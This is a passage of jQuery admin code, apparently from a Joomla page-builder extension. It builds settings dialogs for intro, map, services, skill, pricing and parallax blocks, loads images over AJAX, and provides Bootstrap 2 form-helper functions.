	jQuery('#st-navigation .st-typeintro [value="'+((data.attr.typeintro!=null)?data.attr.typeintro:"1")+'"]').prop('checked', true);
	jQuery('#st-navigation .st-title [value="'+data.attr.title+'"]').attr("title");
    jQuery('#st-navigation .st-hclass [value="'+data.attr.hclass+'"]').attr("hclass");
    jQuery('#st-navigation .st-bg [value="'+data.attr.title+'"]').attr("bg");
    //jQuery('#st-navigation .st-show-title [value="'+data.attr.show_title+'"]').attr("selected","selected");
	jQuery('#tabpopup a').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	jQuery('#st-navigation .st-go').click(function(){
		loadImages(jQuery("#st-navigation .st-path").val());
	});
	
	jQuery('#sortImage [class^="icon-"]').click(function(){
		jQuery(this).parent().remove();
	});
	jQuery('.st-nav-option .st-button-group button.btn-primary.btn-save').click(function(){
		saveIntro();
	});
}

function introSelectImage(){
	jQuery('.st-navigation #sortImage .st-selectimage').click(function(){
		//console.log(encodeURIComponent('Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sed cumque distinctio labore minima ipsum fugit aspernatur dolore deserunt iure sunt officiis iusto <span class="color-text">itaque rerum reprehenderit laborum</span> dignissimos iste assumenda dolorem?'))
		jQuery('.st-navigation #sortImage .st-selectimage').removeClass('selected');
		jQuery(this).addClass('selected');
		jQuery('.st-navigation .st-desc-item .st-desc-title').val(String(jQuery(this).attr('data-title')));
		jQuery('.st-navigation .st-desc-item .st-desc-number').val(jQuery(this).attr('data-number'));
		jQuery('.st-navigation .st-desc-item .st-desc-iconname').val(jQuery(this).attr('data-iconname'));
//		jQuery('.st-navigation .st-desc-item .st-desc-bg-image').val(jQuery(this).attr('data-bg-image'));
		jQuery('.st-navigation .st-desc-item .st-desc-show-image').val(jQuery(this).attr('data-show-image'));
//        jQuery('.st-navigation .st-desc-item .st-desc-link-text').val(jQuery(this).attr('data-link-text'));
//        jQuery('.st-navigation .st-desc-item .st-desc-link').val(jQuery(this).attr('data-link'));
//        jQuery('.st-navigation .st-desc-item .st-desc-content').val((jQuery(this).attr('data-desc')!=null)?decodeURIComponent(jQuery(this).attr('data-desc')):"");
	});
	jQuery('.st-navigation .st-desc-item .st-desc-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-title",String(jQuery(this).val()));
	});
    jQuery('.st-navigation .st-desc-item .st-desc-show-image').change(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-show-image",jQuery(this).val());
        
	});
    jQuery('.st-navigation .st-desc-item .st-desc-number').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-number",jQuery(this).val());
	});
    jQuery('.st-navigation .st-desc-item .st-desc-iconname').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-iconname",jQuery(this).val());
	});
    //jQuery('.st-navigation .st-desc-item .st-desc-link-text').keyup(function() {
//		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-link-text",jQuery(this).val());
//	});
    //jQuery('.st-navigation .st-desc-item .st-desc-link').keyup(function() {
//		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-link",jQuery(this).val());
//	});    
	jQuery('.st-navigation .st-desc-item .st-desc-content').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-desc",encodeURIComponent(jQuery(this).val()));
	});
}

function saveIntro(){
		data = {"type":"intro_desi","content":[],"attr":{}};
        data.attr.template = jQuery('select[name="st-intro-template"] option:selected').val();
		data.attr.class=jQuery('#st-navigation .st-class').val();
		data.attr.title=jQuery('#st-navigation .st-title').val();
		data.attr.sid=jQuery('#st-navigation .st-sid').val();
		data.attr.hclass=jQuery('#st-navigation .st-hclass').val();
		//data.attr.show_title=jQuery('#st-navigation .st-show-title').val();
		data.attr.bg_image=jQuery('#st-navigation .st-bg').val();
		//data.attr.auto=jQuery('#st-navigation .st-auto').val();
		//data.attr.typeslider= jQuery('#st-navigation .st-typeslider input[type="radio"]:checked').val();
		var link = "";
		jQuery('#st-navigation #sortImage li').each(function(index){
			var arr = {"type":"item_gallery_desi","content":jQuery(this).find('img').attr("data-site"),"attr":{"linkadmin":jQuery(this).find('img').attr("src"),"title":jQuery.trim(jQuery(this).attr("data-title")),"number":jQuery.trim(jQuery(this).attr("data-number")),"iconname":jQuery.trim(jQuery(this).attr("data-iconname")),"show_image":jQuery(this).attr("data-show-image")}};
			data.content.push(arr);
		});
		//console.log(data);
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
}
//  End Slider Option
//  Gmap Option
function addGmap(log,lat){
	var center = new google.maps.LatLng(log,lat);
	var loca = log+','+lat;
    jQuery('#geocomplete').geocomplete({
		map: '.map_canvas',
		types: ['establishment'],
		country: 'de',
		details: 'form ',
		markerOptions: {
			draggable: true
		},
		location:loca,
		mapOptions: {
			scrollwheel :true,
			center:center,
			zoom:15
		}
    });
    jQuery('#geocomplete').bind('geocode:dragged', function(event, latLng){
		jQuery('input[name=lat]').val(latLng.lat());
		jQuery('input[name=lng]').val(latLng.lng());
    });
}
function getGmapOption(data){
	content ="<div class='st-nav-title'><i class='icon-map-marker'></i> Gmap<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<div class='row-fluid'>";
			content+="<div class='span12'>";
				//content+='<ul class="nav nav-tabs" id="tabpopup">';
				//	content+='<li class="active"><a href="#find"><i class="icon-images"></i>Find</a></li>';
				//	content+='<li><a href="#config"><i class="icon-cog-2"></i>Config</a></li>';
			//	content+='</ul>';
			//	content+='<div class="tab-content">';
					//Begin tab Find
				//	content+='<div class="tab-pane active st-loadgmap" id="find">';
				//	content+='</div>';
					// End Tab Find

					//Begin tab Config
					content+='<div class="tab-pane" >';
						content+='<div class="row-fluid">';
							content+='<div class="span6">';
								content+='<label>Title:</label><input name="st-title" class="st-title" type="text" value="'+((data.attr.title==null)?"":data.attr.title)+'">';
								content+='<label>Address:</label><input name="formatted_address" class="st-fomartted" type="text" value="'+data.attr.location+'">';
								content+='<label>Zoom:</label><input name="zoom" class="st-zoom" type="text" value="'+data.attr.zoom+'" placeholder="maxZoom = 40">';
								content+='<label>MapTypeId:</label>';
								content+='<select class="st-map_type"><option value="ROADMAP">roadmap</option><option value="HYBRID">hybrid</option><option value="SATELLITE">satellite</option><option value="TERRAIN">terrain</option></select>';
								content+='<label>Height:</label><input name="height_map" class="st-heightmap" type="text" value="'+((data.attr.height==null)?"400":data.attr.height)+'">';
								content+='<label>Class:</label><input name="class_map" class="st-classmap" type="text" value="'+((data.attr.class==null)?"":data.attr.class)+'">';
							    content+='<label>State</label>';
                                content+="<div class='st-state st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-state" value="1" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-state" value="0">No</label>';
								content+="</div>";
							content+='</div>';
							content+='<div class="span6">';
								content+='<label>Show Pan control:</label>';
								content+="<div class='st-pancontrol st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-pancontrol" value="true" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-pancontrol" value="false">No</label>';
								content+="</div>";
								content+='<label>Show Zoom control:</label>';
								content+="<div class='st-zoomcontrol st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-zoomcontrol" value="true" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-zoomcontrol" value="false">No</label>';
								content+="</div>";
								content+='<label>Show Maptype control:</label>';
								content+="<div class='st-maptypecontrol st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-maptypecontrol" value="true" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-maptypecontrol" value="false">No</label>';
								content+="</div>";
								content+='<label>Show Streets control:</label>';
								content+="<div class='st-streetcontrol st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-streetcontrol" value="true" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-streetcontrol" value="false">No</label>';
								content+="</div>";
								content+='<label>Scroll Wheel:</label>';
								content+="<div class='st-scrollwheel st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-scrollwheel" value="false" checked="checked">No</label>';
									content+='<label class="radio inline"><input type="radio" name="st-scrollwheel" value="true">Yes</label>';
								content+="</div>";
							content+='</div>';
						content+='</div>';
				//	content+='</div>';
				//End tab Config
				content+='</div>';
			content+="</div>";
		content+="</div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('#st-navigation').html(content);
	jQuery('#st-navigation .st-map_type [value="'+data.attr.maptype+'"]').attr('selected','selected');
	jQuery('#st-navigation .st-pancontrol [value="'+data.attr.pancontrol+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-state [value="'+data.attr.state+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-zoomcontrol [value="'+data.attr.zoomcontrol+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-maptypecontrol [value="'+data.attr.maptypecontrol+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-streetcontrol [value="'+data.attr.streetcontrol+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-scrollwheel [value="'+((data.attr.scrollwheel==null)?"false":data.attr.scrollwheel)+'"]').attr('checked','checked');
	//jQuery('#tabpopup a').click(function (e) {
//		e.preventDefault();
//		jQuery(this).tab('show');
//	});
/*	jQuery("#find1").click(function(){
	  var searchstr = jQuery("#geocomplete").val();
	  jQuery("#geocomplete").geocomplete('find', searchstr);
	});
	jQuery("#reset").click(function(){
	  jQuery("#geocomplete").val('');
	}); */
    
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveGmap();
	});
}

function saveGmap(){
	var zoom = jQuery.trim(jQuery('#st-navigation .st-zoom').val());
	if(!testNumber(zoom)){
		alert('Zoom must be number format.');
		return false;
	}
	if(zoom<0 && zoom>21){
		alert('Zoom must be bettwen 1 and 21');
		return false;
	}
	data = {"type":"gmap_desi","content":"","attr":{}};
	data.attr.title=jQuery('#st-navigation .st-title').val();
	data.attr.latitude=jQuery('#st-navigation .st-latgmap').val();
	data.attr.longitude=jQuery('#st-navigation .st-lnggmap').val();
	data.attr.location=jQuery('#st-navigation .st-fomartted').val();
	data.attr.zoom=zoom;
	data.attr.maptype=jQuery('#st-navigation .st-map_type').val();
	data.attr.pancontrol = jQuery('#st-navigation [name="st-pancontrol"]:checked').val();
	data.attr.state = jQuery('#st-navigation [name="st-state"]:checked').val();
	data.attr.zoomcontrol = jQuery('#st-navigation [name="st-zoomcontrol"]:checked').val();
	data.attr.maptypecontrol = jQuery('#st-navigation [name="st-maptypecontrol"]:checked').val();
	data.attr.streetcontrol = jQuery('#st-navigation [name="st-streetcontrol"]:checked').val();
	data.attr.height=jQuery.trim((jQuery('#st-navigation .st-heightmap').val()==null)?'400':jQuery('#st-navigation .st-heightmap').val());
	data.attr.class=jQuery.trim((jQuery('#st-navigation .st-classmap').val()==null)?'':jQuery('#st-navigation .st-classmap').val());
	data.attr.scrollwheel = jQuery('#st-navigation [name="st-scrollwheel"]:checked').val();
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

//  End Gmap


// Ajax load Images
function loadImages(url){
	jQuery.ajax({
		type:"POST",
		url :"index.php?option=com_blue_pagebuilder&task=page.getImageFolder&tmpl=component",
		data:{folder:url},
		beforeSend:function(){
			var inputs = jQuery("#st-navigation #getimage").find("input,button");
        	inputs.prop("disabled", true);
        	jQuery("#st-navigation #dragImage li").remove();
			if(jQuery('#st-navigation .st-dragimage #st-load').length==0){
				jQuery('#st-navigation .st-dragimage').append('<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div><div class="st-mark"></div></div>');
			}
		},
		success:function(response){
			response = jQuery.parseJSON(response);
			if(response.check==1){
				var html ="";
				for(var i=0;i<response.data.length;i++){
					html+='<li class="st-selectimage"><i class="icon-cancel-circle "></i><img title="'+response.data[i]["name"]+'" data-site="'+response.data[i]["site"]+'" src="'+response.data[i]["admin"]+'" /></li>';
				}
				jQuery('#st-navigation .st-dragimage #st-load').remove();
				var inputs = jQuery("#st-navigation #getimage").find("input,button");
	        	inputs.prop("disabled", false);
				jQuery('#st-navigation #dragImage').html(html);
			}else{
				jQuery('#st-navigation .st-dragimage #st-load').remove();
				var inputs = jQuery("#st-navigation #getimage").find("input,button");
	        	inputs.prop("disabled", false);
			}
			jQuery( ".st-navigation #dragImage li" ).draggable({
				connectToSortable: "#sortImage",
				appendTo: "body",
				placeholder: 'placeholder',
				helper: "clone",
				revert: "invalid"
			});

			jQuery( ".st-navigation #sortImage" ).sortable({
				connectToSortable: "#dragImage",
				appendTo: "body",
				placeholder: 'placeholder',
			    receive: function(event, ui) {
		      		jQuery('#sortImage [class^="icon-"]').click(function(){
		      			jQuery(this).parent().remove();
		      		});
		        },
		        deactivate: function(event,ui){
		        	sliderSelectImage();
		        } 
		    });
		    jQuery( ".st-navigation #sortImage" ).disableSelection();
		}
	});
}
function testNumber(text){
	var reg = /^\d+$/;
	return reg.test(text);
}
function testEmpty(sele){
	if(jQuery.trim(sele.val())==""){
		return true;
	}else{
		return false;
	}
}
function testspecialclass(text){
	var reg = /^\s*[a-zA-Z0-9\_\-\s]*\s*$/;
	return reg.test(text);
}
function testspecial(text){
	var reg = /^\s*[a-zA-Z0-9,\s]*\s*$/;
	return reg.test(text);
}
function testpath(text){
	var reg = /^[a-zA-Z0-9\/]*$/;
	return reg.test(text);
}

function convertHTML(str)
{	
	str = str.replace(/&/g, "&amp;");
	str = str.replace(/"/g, "&quot;");
	str = str.replace(/'/g, "&apos;");
	str = str.replace(/</g, "&lt;");
	str = str.replace(/>/g, "&gt;");	
	return str;
}




// get Services Option
function getServicesOption(data){
    content ="<div class='st-nav-title'><i class='icon-folder-open-alt'></i> Services<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option st-services'>";
    	content += "<div class='row-fluid'>";
    		content += "<div class='span6'>";
	    		content+="<label>Category:</label>";
	    		content+="<div class='row-fluid st-category'></div>";
	    		content += getBt2Inputgroup([['text', 'st-title','span12','','Title','Title', data.attr.title,''],['text', 'st-sid','span12','','Section id','Section id', data.attr.sid,''],['text', 'st-sclass','span12','','Section class','Section class', data.attr.sclass,''],['text', 'st-hclass','span12','','Heading class','Heading class', data.attr.hclass,''],['text', 'st-menuid','span12','','Menu id','Menu id', data.attr.menuid,''],['text', 'st-bg','span12','','Background image','Background image', data.attr.bg,'']],false);
        		content += getBt2Textareagroup([['st-description','span12','',data.attr.description,'Description', '5','']], false);
	    	content +="</div>";
	    	content += "<div class='span6'>";
	    		content += getBt2Inputgroup([['text', 'st-itemcount','span12','','Count','Count', data.attr.itemcount,'All']],false);
				//content += getBt2Selectgroup('Full width', 'st-full', 'span12', '', data.attr.full, [['Yes', '1'],['No', '0']], false);
				content += getBt2Selectgroup('Animate', 'st-animate', 'span12', '', data.attr.animate, [['Yes', '1'],['No', '0']], false);
				content += getBt2Selectgroup('Order', 'st-order', 'span12', '', data.attr.order, [['Created', 'created'],['Ordering', 'ordering']], false);
				content += getBt2Selectgroup('Direction', 'st-direction', 'span12', '', data.attr.direction, [['ASC', 'ASC'],['DESC', 'DESC']], false);
				content += getBt2Selectgroup('Template', 'st-template', 'span12', '', data.attr.template, [['Services', 'services'],['Team', 'team'],['Blog', 'blog']], false);
	    	content +="</div>";
    	content +="</div>";
	    content+="<div class='st-button-group'>";
	   	 	content+="<button class='btn btn-primary btn-save'>Save</button>";
	    	content+="<button class='btn btn-cancel'>Cancel</button>";
	    content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    jQuery('#st-navigation .st-column [value="'+((data.attr.title!=null)?data.attr.title:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-column [value="'+((data.attr.menuid!=null)?data.attr.menuid:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-column [value="'+((data.attr.sid!=null)?data.attr.sid:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-column [value="'+((data.attr.sclass!=null)?data.attr.sclass:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-column [value="'+((data.attr.bg!=null)?data.attr.bg:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-column [value="'+((data.attr.hclass!=null)?data.attr.hclass:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-template [value="'+data.attr.template+'"]').attr("selected","selected");
    jQuery('#st-navigation .btn-primary.btn-save').click(function(){
        saveServices(data);
    });
}

function saveServices(data){
    data.attr.title = convertHTML(jQuery('input[name="st-title"]').val());
    data.attr.bg = convertHTML(jQuery('input[name="st-bg"]').val());
    data.attr.sclass = convertHTML(jQuery('input[name="st-sclass"]').val());
    data.attr.sid = convertHTML(jQuery('input[name="st-sid"]').val());
    data.attr.hclass = convertHTML(jQuery('input[name="st-hclass"]').val());
    data.attr.menuid = convertHTML(jQuery('input[name="st-menuid"]').val());
    data.attr.description = convertHTML(jQuery('textarea[name="st-description"]').val());
    data.attr.category = jQuery('#st-navigation .st-category select').val();
    data.attr.template = jQuery('select[name="st-template"] option:selected').val();
    //data.attr.full = jQuery('select[name="st-full"] option:selected').val();
    data.attr.order = jQuery('select[name="st-order"] option:selected').val();
    data.attr.direction = jQuery('select[name="st-direction"] option:selected').val();
    data.attr.animate = jQuery('select[name="st-animate"] option:selected').val();
    data.attr.itemcount = jQuery('input[name="st-itemcount"]').val();
    var title = convertHTML(jQuery('#st-navigation .st-services [name="st-title"]').val());
    jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
    jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');


    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data",json);

//    jQuery('#st-page li.st-focus').attr("data",JSON.stringify(data));
    jQuery.stbox.close();
}
// End Services
//////////////////////////////

// GetskillOption
function getSkillOption(data){
    content ="<div class='st-nav-title'><i class='icon-folder-open-alt'></i> skill<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option st-skill'>";
    	content += "<div class='row-fluid'>";
    		
	    	content += "<div class='span12'>";
	    		content += getBt2Inputgroup([['text', 'st-title','span12','','Title','', data.attr.title,'']],false);
				content += getBt2Inputgroup([['textare', 'st-sdesc','span12','','Short Description','', data.attr.sdesc,'']],false);
				content += getBt2Inputgroup([['text', 'st-percent','span12','','Percent','Percent', data.attr.percent,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-bg-image','span12','','Background color','Background color', data.attr.bg_image,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-color','span12','','Color','Color', data.attr.color,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-class','span12','','class','class', data.attr.class,'']],false);
	    		content += getBt2Selectgroup('Template', 'st-template', 'span12', '', data.attr.template, [['Default ', 'skill'],['Default1 ', 'skill1']], false);
	    	content +="</div>";
    	content +="</div>";
	    content+="<div class='st-button-group'>";
	   	 	content+="<button class='btn btn-primary btn-save'>Save</button>";
	    	content+="<button class='btn btn-cancel'>Cancel</button>";
	    content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    jQuery('#st-navigation .st-column [value="'+((data.attr.title!=null)?data.attr.title:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-template [value="'+data.attr.template+'"]').attr("selected","selected");
    jQuery('#st-navigation .btn-primary.btn-save').click(function(){
        saveSkill(data);
    });
}

function saveSkill(data){
    data.attr.class = convertHTML(jQuery('#st-navigation .st-skill [name="st-class"]').val());
    data.attr.title = convertHTML(jQuery('#st-navigation .st-skill input[name="st-title"]').val());
    data.attr.sdesc = convertHTML(jQuery('#st-navigation .st-skill input[name="st-sdesc"]').val());
    data.attr.percent = convertHTML(jQuery('#st-navigation .st-skill input[name="st-percent"]').val());
    data.attr.bg_image = convertHTML(jQuery('#st-navigation .st-skill input[name="st-bg-image"]').val());
    data.attr.color = convertHTML(jQuery('#st-navigation .st-skill input[name="st-color"]').val());
    data.attr.template = jQuery('select[name="st-template"] option:selected').val();
    var title = convertHTML(jQuery('#st-navigation .st-skill [name="st-title"]').val());
    jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
    jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');

    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data",json);

//    jQuery('#st-page li.st-focus').attr("data",JSON.stringify(data));
    jQuery.stbox.close();
}

// GetpricingOption
function getPricingOption(data){
    content ="<div class='st-nav-title'><i class='icon-folder-open-alt'></i> Pricing<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option st-pricing'>";
    	content += "<div class='row-fluid'>";
    		content += "<div class='span6'>";
				content += getBt2Inputgroup([['text', 'st-class','span12','','class','class', data.attr.class,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-price','span12','','Price','Price', data.attr.price,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-time','span12','','Time','Time', data.attr.time,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-text_button','span12','','Text Button','Text Button', data.attr.text_button,'']],false);
	    		content += getBt2Inputgroup([['text', 'st-link_button','span12','','Link Button','Link Button', data.attr.link_button,'']],false);
	    	content +="</div>";
	    	content += "<div class='span6'>";
	    		content += getBt2Inputgroup([['text', 'st-title','span12','','Title','Title', data.attr.title,'']],false);
				content += getBt2Textareagroup([['st-description','span12','',data.attr.description,'Features', '7','']], false);
				content += getBt2Selectgroup('Template', 'st-template', 'span12', '', data.attr.template, [['Default ', 'pricing'],['Default1 ', 'pricing1']], false);
	    	content +="</div>";
    	content +="</div>";
	    content+="<div class='st-button-group'>";
	   	 	content+="<button class='btn btn-primary btn-save'>Save</button>";
	    	content+="<button class='btn btn-cancel'>Cancel</button>";
	    content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    jQuery('#st-navigation .st-column [value="'+((data.attr.title!=null)?data.attr.title:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-template [value="'+data.attr.template+'"]').attr("selected","selected");
    jQuery('#st-navigation .btn-primary.btn-save').click(function(){
        savePricing(data);
    });
}

function savePricing(data){
    data.attr.class = convertHTML(jQuery('#st-navigation .st-pricing [name="st-class"]').val());
    data.attr.title = convertHTML(jQuery('#st-navigation .st-pricing input[name="st-title"]').val());
    data.attr.price = convertHTML(jQuery('#st-navigation .st-pricing input[name="st-price"]').val());
    data.attr.time = convertHTML(jQuery('#st-navigation .st-pricing input[name="st-time"]').val());
    data.attr.description = convertHTML(jQuery('#st-navigation .st-pricing textarea[name="st-description"]').val());
    data.attr.template = jQuery('select[name="st-template"] option:selected').val();
    data.attr.text_button = convertHTML(jQuery('#st-navigation .st-pricing input[name="st-text_button"]').val());
    data.attr.link_button = convertHTML(jQuery('#st-navigation .st-pricing input[name="st-link_button"]').val());
    var title = convertHTML(jQuery('#st-navigation .st-pricing [name="st-title"]').val());
    jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
    jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');

    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data",json);

//    jQuery('#st-page li.st-focus').attr("data",JSON.stringify(data));
    jQuery.stbox.close();
}
/////////////////////
// get Parallax Option
function getParallaxOption(data){
    content ="<div class='st-nav-title'><i class='icon-folder-open-alt'></i> Parallax<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option st-services'>";
    content+="<label>Title:</label>";
    content+='<input type="text" name="st-title" value="'+((data.attr.title==null)?"Services":data.attr.title)+'">';
    content+="<label>Description:</label>";
    content+='<textarea name="st-description" rows="4" cols="50">'+ ((data.attr.description==null?"Services":data.attr.description))+'';
    content+="</textarea>";
    content+="<label>Category:</label>";
    content+="<div class='row-fluid st-category'></div>";
    content+="<label>Count:</label>";
    content+='<input type="text" name="st-itemcount" value="'+((data.attr.itemcount==null)?"4":data.attr.itemcount)+'">';

    content+="</div>";
    content+="<div class='st-button-group'>";
    content+="<button class='btn btn-primary btn-save'>Save</button>";
    content+="<button class='btn btn-cancel'>Cancel</button>";
    content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    jQuery('#st-navigation .st-column [value="'+((data.attr.title!=null)?data.attr.title:"")+'"]').prop("checked",true);
    jQuery('#st-navigation .st-template [value="'+data.attr.template+'"]').attr("selected","selected");
    jQuery('#st-navigation .btn-primary.btn-save').click(function(){
        saveparallax(data);
    });
}

function saveparallax(data){
    data.attr.title = convertHTML(jQuery('#st-navigation .st-services [name="st-title"]').val());
    data.attr.description = convertHTML(jQuery('#st-navigation .st-services [name="st-description"]').val());
    data.attr.category = jQuery('#st-navigation .st-category select').val();
    data.attr.template = jQuery('#st-navigation .st-template').val();
    data.attr.itemcount = jQuery('#st-navigation .st-services [name="st-itemcount"]').val();
    var title = convertHTML(jQuery('#st-navigation .st-services [name="st-title"]').val());
    jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
    jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');


    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data",json);

//    jQuery('#st-page li.st-focus').attr("data",JSON.stringify(data));
    jQuery.stbox.close();
}
// End Parallax


// Functions for get Bootstrap 2 input field
/**
* label : string
* name : string
* classlist: string
* id : string
* selected: string
* options: array('text','value')
* horizontal: boolean
**/
function getBt2Selectgroup(label, name, classlist, id, selected, options, horizontal){
    var ht ='';
    if(horizontal){
        ht +="<div class=\"form-horizontal\">";
    }

    ht +="<div class=\"control-group\">";

    if(label != ''){
        ht +="<label class=\"control-label\">";
        ht += label +"</label>";
    } 
        ht +="<div class=\"controls\">";
            ht +="<select ";
            if(name)
                ht += " name=\""+name+"\"";
            if(classlist)
                ht +=" class=\""+classlist+"\"";
            if(id)
                ht +=" id=\""+id+"\"";
            ht +=">";
            for (var i = 0 ; i < options.length; i++) {
                ht +="<option ";
                if(selected == options[i][1])
                    ht +=" selected=\"selected\"";
                ht +=" value=\""+options[i][1]+"\">"+options[i][0]+"</option>";
            }  
        ht +="</select>";
        ht +="</div>";
        ht +="</div>";
    if(horizontal)
        ht +="</div>";
    return ht;
}
//function getBt2Textareagroup([['name','class','id','value','label', 'rows','default value']], horizontal)
function getBt2Textareagroup(textareas, horizontal){
    var ht ='';
    if(horizontal){
        ht +="<div class=\"form-horizontal\">";
    }

    for (var i = 0 ; i < textareas.length; i++) {

    ht +="<div class=\"control-group\">";

    if(textareas[i][4]){
        ht +="<label class=\"control-label\">";
        ht += textareas[i][4] +"</label>";
    } 
        ht +="<div class=\"controls\">";
            ht +="<textarea ";
            if(textareas[i][0])
                ht += " name=\""+textareas[i][0]+"\"";
            if(textareas[i][1])
                ht +=" class=\""+textareas[i][1]+"\"";
            if(textareas[i][2])
                ht +=" id=\""+textareas[i][2]+"\"";
            if(textareas[i][5])
                ht +=" rows=\""+textareas[i][5]+"\"";
            ht +=">";
            if(textareas[i][3])
                ht +=textareas[i][3];
            else if(textareas[i][6])
                ht +=textareas[i][6];
            ht +="</textarea>";    
        ht +="</div>";
        //end div controls
        ht +="</div>";
        // end div control-group
    }
    if(horizontal)
        ht +="</div>";
        //end div horizontal
    return ht;
}


function getBt2Radio(){
    ht = "<label class=\"checkbox inline\">";
    ht += "<input type=\"checkbox\" id=\"inlineCheckbox1\" value=\"option1\"> 1";
    ht += "</label>";
    ht += "<label class=\"checkbox inline\">";
      ht += "<input type=\"checkbox\" id=\"inlineCheckbox2\" value=\"option2\"> 2";
    ht += "</label>";
    ht += "<label class=\"checkbox inline\">";
      ht += "<input type=\"checkbox\" id=\"inlineCheckbox3\" value=\"option3\"> 3";
    ht += "</label>";
    
    return ht;
}

//function getBtRadioCheckbox('Full width', 'st-fullwidth' ,'1' ,[['radio','inputbox','id','1','Yes']], false);
function getBtRadioCheckbox(label, name, checked, valdefault, radios, horizontal){
    var ht ='';
    if(horizontal){
        ht +="<div class=\"form-horizontal\">";
    }

    ht +="<div class=\"control-group\">";

    if(label != '')
        ht +="<label class=\"control-label\">"+label +"</label>";

        ht +="<div class=\"controls\">";
         for (var i = 0 ; i < radios.length; i++) {
         		if(radios[i][4])
                    ht += "<label class=\""+radios[i][0]+" inline\">"+ radios[i][4];
                    ht +="<input type=\""+radios[i][0]+"\"";
                    if(name)
                        ht += " name=\""+name+"\"";
                    if(radios[i][1])
                        ht +=" class=\""+radios[i][1]+"\"";
                    if(radios[i][2])
                        ht +=" id=\""+radios[i][2]+"\"";
                    if(radios[i][3])
                        ht += " value=\""+radios[i][3] + "\"";
                    if(checked == radios[i][3] || valdefault == radios[i][3])
                        ht += " checked=\"checked\"";
                        //ht +=" title=\""+radios[i][5]+"\"";
                   
                    ht +=">";
                    //if(radios[i][5])
                       //ht +=radios[i][5];
                if(radios[i][4])
                    ht +="</label>";
        }  
        ht +="</div>";
        ht +="</div>";
    if(horizontal)
        ht +="</div>";
    return ht;
}

//function getBt2Radiogroup('Row fluid', 'checked' ,[['radio','name','class','id','value','title','toogle']], horizontal)
function getBt2Radiogroup(label, checked, radios, horizontal){
    var ht ='';
    if(horizontal){
        ht +="<div class=\"form-horizontal\">";
    }

